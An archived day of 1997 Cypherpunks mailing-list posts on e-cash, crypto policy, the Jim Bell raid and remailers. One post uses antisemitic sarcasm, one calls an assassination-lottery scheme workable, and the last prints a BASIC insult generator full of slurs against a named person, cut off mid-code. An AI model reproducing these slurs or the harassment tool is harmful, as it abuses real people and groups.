Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From declan at pathfinder.com Thu Apr 3 06:37:01 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Thu, 3 Apr 1997 06:37:01 -0800 (PST) Subject: April Fool's joke? Jim Bell date mismatch In-Reply-To: <199704012034.PAA00146@net.insp.irs.gov> Message-ID: Check out the dates. April 1 writing about an article in an April 2 newspaper? -Declan On Tue, 1 Apr 1997, IRS Inspection wrote: > The Oregonian, Wednesday, April 2, 1997 From vince at offshore.com.ai Thu Apr 3 07:28:42 1997 From: vince at offshore.com.ai (Vincent Cate) Date: Thu, 3 Apr 1997 07:28:42 -0800 (PST) Subject: FC 97 and www.offshore.com.ai online Message-ID: >Has anyone been able to reach www.offshore.com.ai for the last >several weeks. I think things have been working fine. I have been getting plenty of mail still. The web site has been up too. But I have not gotten any email from you. If you can not reach vince at offshore.com.ai you can also try vac at cs.cmu.edu or vince at c2.org. -- Vince From rah at shipwright.com Thu Apr 3 08:22:26 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 3 Apr 1997 08:22:26 -0800 (PST) Subject: Hettinga rants Nationally at 8PM on the Talk America Radio Network Message-ID: Kevin Miller, the same talk show host from Cleveland that I talked to yesterday afternoon, is going to have me reprise yesterday's Cleveland rant about e$, geodesic markets/societies, strong crypto, etc., on his First Opinion radio show, at 8PM EST tonight, on the Talk America Radio Network. Talk America's site is http://www.talkamerica.com, and it has an affiliate station list (they're pretty much everywhere, but you have to look for them) and program schedules for their two networks. I seem to be on Talk America Network 1, which puts me in the company of such august luminaries as Col. Bo Gritz. :-). I can see Vinnie grinning now, in his official capacity as my Samoan Attorney. :-). Talk America also seems to have an internet audio feed, but it uses a non-RealAudio package called Xing. YMMV. Finally, the call-in line during the show is 1-800-298-8255. I encourage cypherpunks to call in, identify themselves as such, and straighten folks out about the latest Clintonista crypto KRA outrage. Though, yesterday, I core-dumped so much stuff that we got a total of 2 calls in edgewise. :-). It was ever thus, it seems... This one hour show makes me 45 minutes overdrawn on my Warholian 15 minute fame allocation. Hope I can make the best of it. Also, it may get worse. I committed on the air yesterday to come back once a month or so, at least to Cleveland, and maybe nationally. The ganglia twitch. As they say, stay tuned... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Thu Apr 3 09:24:06 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 3 Apr 1997 09:24:06 -0800 (PST) Subject: DigiCash press release Message-ID: --- begin forwarded text Date: Fri, 4 Apr 1997 01:46:54 +1000 (EST) From: Andreas Furche To: e-payments at commerce.net Subject: DigiCash press release MIME-Version: 1.0 Sender: e-payments-owner at cs.newcastle.edu.au Precedence: bulk +----------------------------------------------------------------------+ This message was addressed to: e-payments at lists.commerce.net +----------------------------------------------------------------------+ --------------------------- PRESS RELEASE --------------------------- Release date: April 2, 1997 Tokyo, Japan =========================================================== Nomura Research Institute licenses ecash(tm) technology for Japan's first true electronic money system =========================================================== Nomura Research Institute (NRI) and DigiCash today announced that NRI will be the first company in Japan to license ecash(tm) technology for the development of an electronic money payment system. NRI will use ecash(tm), denominated in Japanese yen, for a unique intranet based system that will allow NRI employees, departments, and associated companies to exchange value in real time, without the need for smart cards, paper, or complex systems. Licensees of the ecash(tm) system include Mark Twain Bank (USA), Deutsche Bank (Germany), Merita Bank/EUnet (Finland) and Advance Bank (Australia). At the moment making transactions over the Internet or an Intranet usually means sending credit card details over computer networks, but credit card transactions are relatively expensive and therefore are not efficient for low value purchases. Many smartcard- based systems are also being developed, but they require that each consumer installs special hardware. Many forms of "electronic cash" are competing for attention in Japan, but the NRI project is unique, using a low cost, real-time method of payment that is secure, easy-to-use, and which will meet the future requirements of banks, and Government regulators. DigiCash's patented ecash(tm) system allows payment of amounts as low as one yen, and all payments are made with the same security technology currently used by large financial institutions to protect large international money transfers. "This launch in Japan represents an important collaboration between the premier electronic cash company and the leading electronic commerce innovator in a country that is growing rapidly in Internet usage," said Dr. David Chaum, inventor of electronic cash and founder of DigiCash. He added "Internet users and corporations have come to understand the unique ability of the ecash(tm) electronic cash system to empower them, using their own computers, to protect their own privacy. Leading banks, both in the region and globally, are beginning to observe this and see the strategic importance of operating their own electronic cash systems. We are thrilled to have NRI as a partner as we pioneer the use of ecash(tm) in Japan". "A great deal of discussion on electronic money in Japan has been focused on smartcard-based ones, such an example represented by Mondex. However, we, Nomura Research Institute, Ltd., believe network-based 'ecash' is equally important for the accelerated development of cyberspace economy in Japan. Introducing 'ecash' to the Japanese yen world, NRI will propose a new model of utilization of ecash, that is, `ecash in INTRANET'", said Mr. Teruyasu Murakami, Director of Advanced Social Systems Division, NRI. Ecash(tm) is the only Internet payment system that creates actual electronic cash coins. This concept increases security and reduces transaction costs. It gives increased control to the user of the system and provides consumer privacy. Merchants will also appreciate the ecash(tm) system, where payments are quickly authenticated and their cash value is immediately deposited in the bank, preventing disputes and delivery delays. This system gives a great opportunity to merchants selling low cost goods, information and services online. Craig Welch, Director of DigiCash Pty Ltd said: "Japan is growing so fast in the use of payment methods, that it was only a matter of time before the use of ecash(tm) became essential. NRI have proven to be the ideal partner to make this technology a practical implementation in Japan." Contact DigiCash bv Contact Nomura Research Institute, (Amsterdam): Ltd. (Tokyo) : Mr. Robert Zipplies Mr. Naohiko Araki Ph: +31 20 592 9999 Ph: +81 3 5255 1981 Fax: +31 20 665 1126 Fax: +81 3 5255 9312 email: press at digicash.com email: kouhou at nri.co.jp http://www.digicash.com/ http://www.nri.co.jp Contact DigiCash Pty. Ltd. Contact DigiCash Pty Ltd (Singapore): (Sydney): Mr. Craig Welch Mr. Andreas Furche Ph: +65 9639 2670 Ph: +61 2 375 2316 Fax: +65 745 2731 Fax: +61 2 375 2121 email: craig at digicash.com email: andreas at digicash.com (DigiCash and ecash are registered trademarks and should always be referred to as such) * * * DigiCash: Company background (summary) ====================================== Founded in 1990, DigiCash is the leading pioneer in the development of electronic payment systems that provide security and privacy. Available for open, and closed systems and network use, DigiCash's products are based on patented developments in public key cryptography devised and owned by Dr. David Chaum. DigiCash's first product was DyniCash, a road-toll system capable of collecting fees from pre-paid smartcards carried on moving vehicles that was developed for the Dutch government. In recent years increasing media attention has been focused on ecash(tm), DigiCash's software-only form of electronic cash developed especially for use on the Internet. It can be used online (via the World Wide Web) or via email, and is suitable for implementation with many other digital media. There are already five ecash-issuing banks on the Internet and a rapidly growing number of cyber- merchants. With enthusiastic responses from financial institutions interested in ecash-licenses for the future, and the continuing support of industry opinion-makers, the company's team of experts is now making presentations around the world. Banks already supporting- or issuing ecash(tm) include: Mark Twain Bank (Missouri, USA), Merita Bank/EUnet (Finland), Deutsche Bank (Germany) and Advance Bank (Australia). DigiCash's leading position in cryptographic technology has already enabled it to develop smartcards for a diverse range of applications including CAFE, the smartcard-based payment system operated by the Headquarters of the EU in Brussels. The CAFE project started as a scientific project (ESPRIT) funded by the EU, just one of the several EU technology projects with which DigiCash has been involved, and designed smartcards that feature pre-paid cash replacement functions, loyalty schemes and access control. Founder: Dr. David Chaum ------------------------ Dr. David Chaum, Founder and Chief Technical Officer of DigiCash, received his Ph.D. in Computer Science from the University of California at Berkeley, then taught at New York University Graduate School of Business Administration and at the University of California, and headed the Cryptography Group at CWI, the Dutch nationally-funded centre for research in mathematics and computer science, before taking his current position. He has published over 45 original technical articles on cryptography and also founded the International Association for Cryptologic Research. DigiCash Products ----------------- Facility Card: Complete Facility Management Smart-Card/Reader System Cash replacement, access control, and time/attendance system; now in schools, hospitals, industry, offices, recreation; interfaces to vending machines, point-of-sale, access control, copiers, phones, gaming; Downloadable & upgradeable card-readers work on-line and/or offline; There are already over 120,000 cards in use in the Netherlands. Mars Electronics International licensed the DigiCash facility management system technology in 1996, and incorporated it into their `Multicard Smart' product line which was launched worldwide in January 1997. Blue: Smart Card Technology For EMV & Prepaid With Dynamic Public Key. Conforms to joint Europay, MasterCard, Visa specifications. Multiple applications, including loyalty and closed systems. Superior data integrity in case of malicious or accidental interference or interruption. Requires only the smallest and most proven chips, e.g. SC-24 or ST601. Mask technology licensing. For more information on ecash please contact DigiCash. info at digicash.com, http://www.digicash.com/, fax: +31 20 592 9999 ------------------------- END PRESS RELEASE ------------------------- -- Andreas Furche Level 29 The Chifley Tower Managing Director 2 Chifley Square DigiCash Pty. Ltd. Sydney 2000, Australia e-mail: andreas at digicash.com ph +61 2 9375 2316 mobile (0419) 385 569 (NEW number!) fax +61 2 9375 2121 ------------------------------------------------------------------------- This message was sent by a majordomo-based automatic list manager. Subscriptions to and archives of this list are available to any person or organization. For further information send a mail message to 'e-payments-request at lists.commerce.net' with 'help' (no quotations) contained in the body of your message. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From shamrock at netcom.com Thu Apr 3 11:56:12 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 3 Apr 1997 11:56:12 -0800 (PST) Subject: FC 97 and www.offshore.com.ai offline Message-ID: <3.0.32.19970403112753.006d4188@netcom10.netcom.com> At 05:46 PM 4/2/97 +0000, Jim Burnes wrote: >Has anyone been able to reach www.offshore.com.ai for the last >several weeks. I've been trying to follow up with some email to >Vince about getting my fellow FC '97 attendees' email addresses, but to >no avail. > >If anyone on the list was at the conference, or has such a list I >would appreciate it. You may want to ask Hirschfeld, the conference chair. >BTW: hi to lucky green, eric blossom, vince and everyone that made FC >97 a wild adventure. Hi back :-) It was fun, wasn't it? -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From gbroiles at netbox.com Thu Apr 3 12:15:07 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 3 Apr 1997 12:15:07 -0800 (PST) Subject: Jim Bell raid Message-ID: <3.0.1.32.19970403121619.007e3100@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- A southern Washington newspaper, The Columbian (apparently published in Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of its front page at http://www.columbian.com (you'll have to pick the frame for "The latest Columbian headlines") - and today's page one above-the-fold headline is "Affidavit: Internet essay solicits murder". It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I haven't seen him write anything that I thought was criminal. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0QP37Fh6pHCoCA5AQGqFAP/XajMlyEjtiDeYHYjHeL3B03TqCaCh6t4 kbCuPzoV2zsMIfSpoVcctHiorqYnMt2oemfHwfUT9cubnVwZYMzHZzsaqQjd+OqN 2z/Hnlo4vBFb73+lYWYPTqWydI0qAGZlDS9zbBwUNqP1eQL4rgEJxq6RzdfRcsqU 5MEWLzlfxZ4= =rzdS -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From bubba at dev.null Thu Apr 3 12:27:56 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Thu, 3 Apr 1997 12:27:56 -0800 (PST) Subject: BIG BROTHER (qoute without comment) In-Reply-To: <199704030636.BAA12147@pig.die.com> Message-ID: <3344082E.2485@dev.null> Dave Emery wrote: > > I got up very early one morning and turned on my scanner and heard the > police that serve the warrants ("We like to pick up everyone before > breakfast" is a quote from a local warrant server). The dispatcher said > that the FBI had located a friend of mine who was staying in a local > Motel 6 and that there was a warrant for his arrest. He was picked up > (it was a mistake) and when he asked how they knew he was there, they > told him that Motel 6 gives their guest list to the FBI every day. I > could not belive this! I told him that there was any number of ways > that > they could have found him. But about a week ago, I heard one of the > warrant servers say something about Motel 6 and their FBI arrangement. Dave, Around 20 years ago, I found out that the RCMP, during the course of their evening shifts, regularly cruised motel parking lots, taking down all of the license numbers and running checks on them. I found this out from first-hand experience, waiting to be booked for the crime of having a name vaguely similar to someone they were looking for. I have no doubt that many law enforcement agencies, including the RCMP (Royal Canadian Mounted Police for you non-frostbacks), have made this kind of prying more efficient by enlisting the aide of the motel management in their quest to follow every movement of everyone, everywhere, at all times (except during donut-breaks). -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From bubba at dev.null Thu Apr 3 12:28:16 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Thu, 3 Apr 1997 12:28:16 -0800 (PST) Subject: q.N2 In-Reply-To: <199704030313.DAA17299@mailhub.amaranth.com> Message-ID: <33440C0B.1605@dev.null> William H. Geiger III wrote: > > > I m going to give you some examples: > > Well these are some of the straw-men that get pulled out whenever the > Government wishes to clamp down on the rights & freedoms of it's citizens. > Whenever you here the buzz-phrases: "save the children" this means "take > away more of your rights" & "terrorist" means "anyone opposed to the > policies of the current administration". -- Translations form the "George > Orwell NewSpeak Dictionary published 1984." > > > 1) I heard about several cases about individuals who use the Internet > >to attract children who are then raped and murdered, kidnapped and sold > >on the black market, many of these pediophiles work out in open in > >complete anonimaty, due to the structure of the Internet and many > >service providers. And I heard about the Jews killing Jesus, using the Torah as their authority. Many of these Jews work out in the open, under authority of the Torah, due to the structure of their religion and many Jewish Rabbi's. Perhaps we need to pass some legislation to ensure that Jesus will be safe from Jews when he comes back. Hitler was misunderstood. He was merely protecting the citizens from Jews. The fact that Hitler's methods were so successful suggests that these methods can be effectively used agains drug dealers and pornographers. Anyone disguising their activities by using encryption probably have Jews, drug dealers and pornographers hidden in their basement. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From ericm at lne.com Thu Apr 3 12:42:38 1997 From: ericm at lne.com (Eric Murray) Date: Thu, 3 Apr 1997 12:42:38 -0800 (PST) Subject: Is this snake-oil? Message-ID: <199704032041.MAA14728@slack.lne.com> I ran across this web page: http://www.da.com/swp.htm. They claim their 'Cyber-stone' scheme uses a "Pseudo-random Transposition Cipher" to vary the keys for an underlying symmetric cipher for each message. They also claim to have a patent on changing the keys for each message (which seems like something on the level of patenting the 'help' key on a keyboard, or the blinking block cursor. Sigh). I ask if it's snake oil because of the use of non-standard terminology and marketing bullstuff like "A New Way of Encrypting". However neither of those are anywhere near proof of uselessness, only an indication that's "food for thought and grounds for further research". They claim patents: 5,307,412, "Random Coding Cipher System and Method" 5,335,280, "Random Sum Cipher System and Method" 5,533,128, "Pseudo-Random Transposition Cipher System and Method" -- Eric Murray ericm at lne.com Network security and encryption consulting. PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From sergey at el.net Thu Apr 3 12:45:02 1997 From: sergey at el.net (Sergey Goldgaber) Date: Thu, 3 Apr 1997 12:45:02 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com> Message-ID: On Thu, 3 Apr 1997, Greg Broiles wrote: -> A southern Washington newspaper, The Columbian (apparently published in -> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of -> its front page at http://www.columbian.com (you'll have to pick the frame for -> "The latest Columbian headlines") - and today's page one above-the-fold -> headline is "Affidavit: Internet essay solicits murder". -> -> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I -> haven't seen him write anything that I thought was criminal. I read the essay when it was published (a year or two ago?). As I remember it, it simply extrapolated the consequences of encryption and anonymity to their logical conclusions. Specifically, that social control could be exerted through a "lottery" for "predicting" the dates of death for certain unpopular politicians. He stressed the untraceability, unaccountability, and as far as possible, legality of everything proposed in his essay. There was some debate concerning the essay which I did not follow. So, I don't know what concensus was finally reached. But, his proposal seemed generally workable to me. I would definately not consider the essay to be evidence of him being a "goddamn loon" anymore than Greg Broiles' post being evidence of him being a goddamn idiot. However, the majority of the public who form their oppinions through newpaper headlines and the like certainly are. Jim Bell's essay is, IMO, definately free speech. And, as you can see from the IRS Inspection report, he was not charged with anything relating to the essay itself. In fact, the raid happened a long time after he published the essay, and may truely be unrelated. ............................................................................ . Sergey Goldgaber System Administrator el Net . ............................................................................ . To him who does not know the world is on fire, I have nothing to say . . - Bertholt Brecht . ............................................................................ From rah at shipwright.com Thu Apr 3 13:04:28 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 3 Apr 1997 13:04:28 -0800 (PST) Subject: DCSB: Stewart Baker (one more time...) on Clinton AdministrationCrypto Policy and Digital Commerce Message-ID: -----BEGIN PGP SIGNED MESSAGE----- No, there is *not* an echo in here... The Digital Commerce Society of Boston Presents (Again!) Mr. Stewart Baker, Steptoe & Johnson formerly General Counsel, the National Security Agency (who, along with the staff of the Harvard Club, was unable to get into Boston for April's DCSB meeting because of the April Fool's day snowstorm...) "The Clinton Administration's Latest Encryption Policy and What It Means for Digital Commerce" Tuesday, May 6, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Mr. Baker will discuss the details of the Clinton Administration's latest encryption policy, which seeks to encourage "key recovery" encryption by offering special export privileges to companies that support key-recovery systems. He will also discuss the reaction of American high-tech companies, foreign governments and consumers. Mr. Baker, formerly General Counsel of the National Security Agency, has an international and technology practice at Steptoe & Johnson in Washington, DC. He is a frequent contributor to WIRED and other publications on topics such as encryption, national security and Internet law. This meeting of the Digital Commerce Society of Boston will be held on Tuesday, May 6, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, May 3, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. NOTE: If we already have your check for April, and you're still coming, you *don't* need to send another one. :-) Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: June Philip A. DesAutels W3C Digital Signature Initiative July Win Treese TLS, Digital Commerce, and Export Issues August Duncan Frissell* MarketEarth September Christof Paar Elliptic Curve Cryptography October Peter Cassidy* Military Fiat and Digital Commerce *Invited We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . We look forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBM0QTIMUCGwxmWcHhAQHuDAf9FGyN9YiBVE8mSr9ylcFu2uiF2kDA38P0 0DKG0mND0gc+kZiGlMeboDrAecUtoOIR+dBk38YvMd2g7oBBIDQRsMcCOdvGavNY dvcLiHfj/hj1VMk2eIWGXJa+3169gO51r90yimG6AQo6HzF8KG1sZb0pwvkPUGhB G74ac/3T1KPAbX+t8KHYgULlci8l8dwoRmPj7p4EKBHyMTJKHZTVHTkjIK3gYo+2 UaDlp4qdoeCykkeZPf7cqof6etXzbts4+dF7TkoiiRNKfF/tu7eEzZQnLbAVf1br Rx6VWG8OJXcPXcHCUSOCNjSva1E6f1yJNj2iwG3HmPBn6+fkw3kZ+A== =tTIg -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From um at idril.shnet.org Thu Apr 3 13:34:10 1997 From: um at idril.shnet.org (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Thu, 3 Apr 1997 13:34:10 -0800 (PST) Subject: hi-tech ROT-13 In-Reply-To: <199704012224.OAA19578@fat.doobie.com> Message-ID: Someone who invented a pill that cures Alzheimer's (but it didn't do any good, because nobody remembered to take it) writes: > Assholes and the spammers will always take the time to learn what > they need to know to spread their bullshit, but what about people > who have a one or two-time legitimate need to pass information along > in saftey? Geoff Keaton's remailer applet has just been released under GPL license, with source code. Mixmaster applet soon to come. That's strong anonymity at a mouse click. Sending anonymous mail never has been easier. From alano at teleport.com Thu Apr 3 13:43:05 1997 From: alano at teleport.com (Alan) Date: Thu, 3 Apr 1997 13:43:05 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com> Message-ID: On Thu, 3 Apr 1997, Greg Broiles wrote: > A southern Washington newspaper, The Columbian (apparently published in > Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of > its front page at http://www.columbian.com (you'll have to pick the frame for > "The latest Columbian headlines") - and today's page one above-the-fold > headline is "Affidavit: Internet essay solicits murder". I have the Columbian with the front page articles. (They have two. One titled _Federal agents 'overreacting,' says Vancouver target of raid_ and the other titled _Assassination scheme on Internet_.) The articles are in the Columbian's standard style. (i.e. slanted towards sensationalizm and general tabloid sleeze with lots of quotation marks.) > It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I > haven't seen him write anything that I thought was criminal. What is "Criminal" is getting more and more broad. (My personal belief is that if the Government wanted to discredit AP they would just send Mr. Bell on a speaking tour.) Maybe the raid was just making an "example" as to what could happen to those who threaten the state. (No matter how badly.) From johnl at iecc.com Thu Apr 3 13:50:50 1997 From: johnl at iecc.com (John R Levine) Date: Thu, 3 Apr 1997 13:50:50 -0800 (PST) Subject: Is this snake-oil? In-Reply-To: <199704032041.MAA14728@slack.lne.com> Message-ID: Visit http://patent.womplex.ibm.com/ and learn all about it. I don't claim to know much about cryptography, but these sure look like garbage to me. > 5,307,412, "Random Coding Cipher System and Method" > 5,335,280, "Random Sum Cipher System and Method" Sender and receiver share what should be a one-time pad, with a trailer on each encrypted each message saying where in the pad to start next time. I don't see any advantage compared to the standard approach of using your pad sequentially other than that this scheme makes it harder to tell when it's used up. > 5,533,128, "Pseudo-Random Transposition Cipher System and Method" Sender and receiver initialize their set of pseudo-random number generators to the same secret thing and use the generated streams of digits to control a transposition cipher. Sheesh. I didn't look at the full patents, just the summaries, so I may have missed something. Please look at the patents themselves before flaming. The IBM web site is a fabulous resource -- they have a CD-ROM farm that provides scanned page images of all the patents issued for the past several decades. Also check out the gallery of obscure patents, e.g., the human slingshot, and the microprocessor controlled belching beer mug. Regards, John Levine, johnl at iecc.com, Village Trustee, Trumansburg NY Primary Perpetrator of "The Internet for Dummies" and Information Superhighwayman wanna-be, http://iecc.com/johnl From camcc at abraxis.com Thu Apr 3 13:55:59 1997 From: camcc at abraxis.com (Alec) Date: Thu, 3 Apr 1997 13:55:59 -0800 (PST) Subject: BIG BROTHER (qoute without comment) In-Reply-To: <199704030636.BAA12147@pig.die.com> Message-ID: <3.0.1.32.19970403163132.007d3210@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:42 PM 4/3/97 -0600, you wrote: | |I found this out from first-hand experience, waiting to be booked |for the crime of having a name vaguely similar to someone they were |looking for. This is believable; in Georgia and many other southern states many men are named Bubba. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0QhsCKJGkNBIH7lAQGKIQQAq4I7lHTvRRlxtGtpRq5twMYp4Nxixqdh 291dWEPDYrKkrHsh5meoNo7oxd/a5rBoEWXBXog1hU05EzKxruS0uKWwDFborsEd ARAmExDOiwfJxgsb4QGaytiTZ6A8+9m/ECMclqXnC1eegSWj4659/7HjQdIu01EJ yoJZmG0MpYE= =mNw/ -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Thu Apr 3 14:29:14 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 3 Apr 1997 14:29:14 -0800 (PST) Subject: Keaton's Remailer Applet In-Reply-To: Message-ID: <334424B2.546C@sk.sympatico.ca> Ulf M�ller wrote: > Geoff Keaton's remailer applet has just been released under GPL > license, with source code. Mixmaster applet soon to come. That's > strong anonymity at a mouse click. Sending anonymous mail never > has been easier. Good news. Do you have a pointer to it? -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From bomber at globalpac.com Thu Apr 3 14:52:04 1997 From: bomber at globalpac.com (bomber) Date: Thu, 3 Apr 1997 14:52:04 -0800 (PST) Subject: Keaton's Remailer Applet In-Reply-To: <334424B2.546C@sk.sympatico.ca> Message-ID: On Thu, 3 Apr 1997, Toto wrote: > Ulf M�ller wrote: > > Geoff Keaton's remailer applet has just been released under GPL > > license, with source code. Mixmaster applet soon to come. That's > > strong anonymity at a mouse click. Sending anonymous mail never > > has been easier. > > Good news. Do you have a pointer to it? > -- a quick search at altavista showed: http://www.ozemail.com.au/~geoffk/anon/anon.html cheers, Tony. --------------------------------------------- Did you hear that two rabbits escaped from the zoo and so far they have only recaptured 116 of them? From nobody at hidden.net Thu Apr 3 16:36:49 1997 From: nobody at hidden.net (Anonymous) Date: Thu, 3 Apr 1997 16:36:49 -0800 (PST) Subject: Uh, huh huh, ignore this test. Message-ID: <199704040032.QAA00354@swan> Uh huh, huh, this is a test, ignore it. From dlv at bwalk.dm.com Thu Apr 3 17:22:34 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 17:22:34 -0800 (PST) Subject: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.) In-Reply-To: Message-ID: "Timothy C. May" writes: > Next came the vaunted 6600, after almost not being funded to completion. It > waws the first true supercomputer. Cray had moved his team up to Chippewa ^^^^??? I used to play with a 6600. It had some interesting hardware features: * It used one's complement rather than two's complement to represent negative integers. (I.e. -x is the same as not x; a pattern of all 1's is '-0'.) * It had 60-bit words for both integers and single-precision reals. A 120-bit double precision was pretty slow. A word could fit 10 6-bit characters, but any kind of text processing was a bitch. * 15-bit addresses referred to the whole word. A word could contain several instructions, but only an instruction on a word boundary could be a target of a branch. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Apr 3 17:27:34 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 17:27:34 -0800 (PST) Subject: Bot-generated insults In-Reply-To: <199704030142.TAA16223@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > It is much safer to rely on premail and NOT to send out any cleartext. > > Otherwise, the script is good. I think though that it should also be able to > choose ASCII pictures separately. Maybe it can be generalized to choosing > several paragraphs from a list of available ones. I also think that the > list of insults may be common to several victims. Some years ago I used to be engaged in a flame war with a lying thieving sovok named Vladislav Rottenberg, who at the time worked for SRI. Vlad used to post bizarre lies about me on Usenet, like, he claimed that I applied for a job at SRI and that Vlad made sure I wouldn't be hired. (This is 100% b.s. - I never in my life considered working for SRI.) Vlad was the inspiration for both Rabbi Shlomo Ruthenberg and for SimVlad, the alleged AI simulation program that generated text very similar to Vlad's own writing. I wrote it in Basic because, I said, I wouldn't debase LISP or any other real language with such a project. This file was dated 1/93, but I think it's much older. All the quotes really came from Vlad. DEFINT A-Z RANDOMIZE TIMER O$ = "" s$ = "This program, 'SimVlad', is an artificial intelligence ": GOSUB O s$ = "(stupidity?) simulation of a typical Soviet emigre": GOSUB O GOSUB period FOR i = 1 TO 35 GOSUB badguy GOSUB bgaction GOSUB period NEXT i GOSUB par END par: s$ = "": GOSUB O RETURN period: a = INT(RND * 6) IF a = 0 THEN s$ = "!!! ": GOSUB O ELSEIF a = 1 THEN s$ = "! ": GOSUB O ELSE s$ = ". ": GOSUB O END IF a = INT(RND * 20) IF a = 0 THEN GOSUB par END IF RETURN badguy: x = INT(RND * 19) IF abadguy = x THEN GOTO badguy abadguy = x IF abadguy = 0 THEN s$ = "Dimitri": GOSUB O ELSEIF abadguy = 1 THEN s$ = "Dmitry": GOSUB O ELSEIF abadguy = 2 THEN s$ = "Vulvis": GOSUB O ELSEIF abadguy = 3 THEN s$ = "Vulgaris": GOSUB O ELSEIF abadguy = 4 THEN s$ = "Vilus": GOSUB O ELSEIF abadguy = 5 THEN s$ = "Dima": GOSUB O ELSEIF abadguy = 6 THEN s$ = "Dimochka": GOSUB O ELSEIF abadguy = 7 THEN s$ = "The wonder child from CUNY": GOSUB O ELSEIF abadguy = 8 THEN s$ = "Yasser 'Vulis' Arafat": GOSUB O ELSEIF abadguy = 9 THEN s$ = "The typical Soviet emigre": GOSUB O ELSEIF abadguy = 10 THEN s$ = "Doghead": GOSUB O ELSEIF abadguy = 11 THEN s$ = "That stupid faggot": GOSUB O ELSEIF abadguy = 12 THEN s$ = "'Goy Boy'": GOSUB O ELSEIF abadguy = 13 THEN s$ = "Fucking 'mudak'": GOSUB O ELSEIF abadguy = 14 THEN s$ = "That shiksa": GOSUB O ELSEIF abadguy = 15 THEN s$ = "Dimitri 'Agric' Vulis": GOSUB O ELSEIF abadguy = 16 THEN s$ = "Vladimir Ulyanov (Vulis)": GOSUB O ELSEIF abadguy = 17 THEN s$ = "The incomparable Mr. Vulis": GOSUB O ELSEIF abadguy = 18 THEN s$ = "Arf-Vulis": GOSUB O END IF RETURN bgaction: x = INT(RND * 40) IF abgaction = x THEN GOTO bgaction abgaction = x IF abgaction = 0 THEN 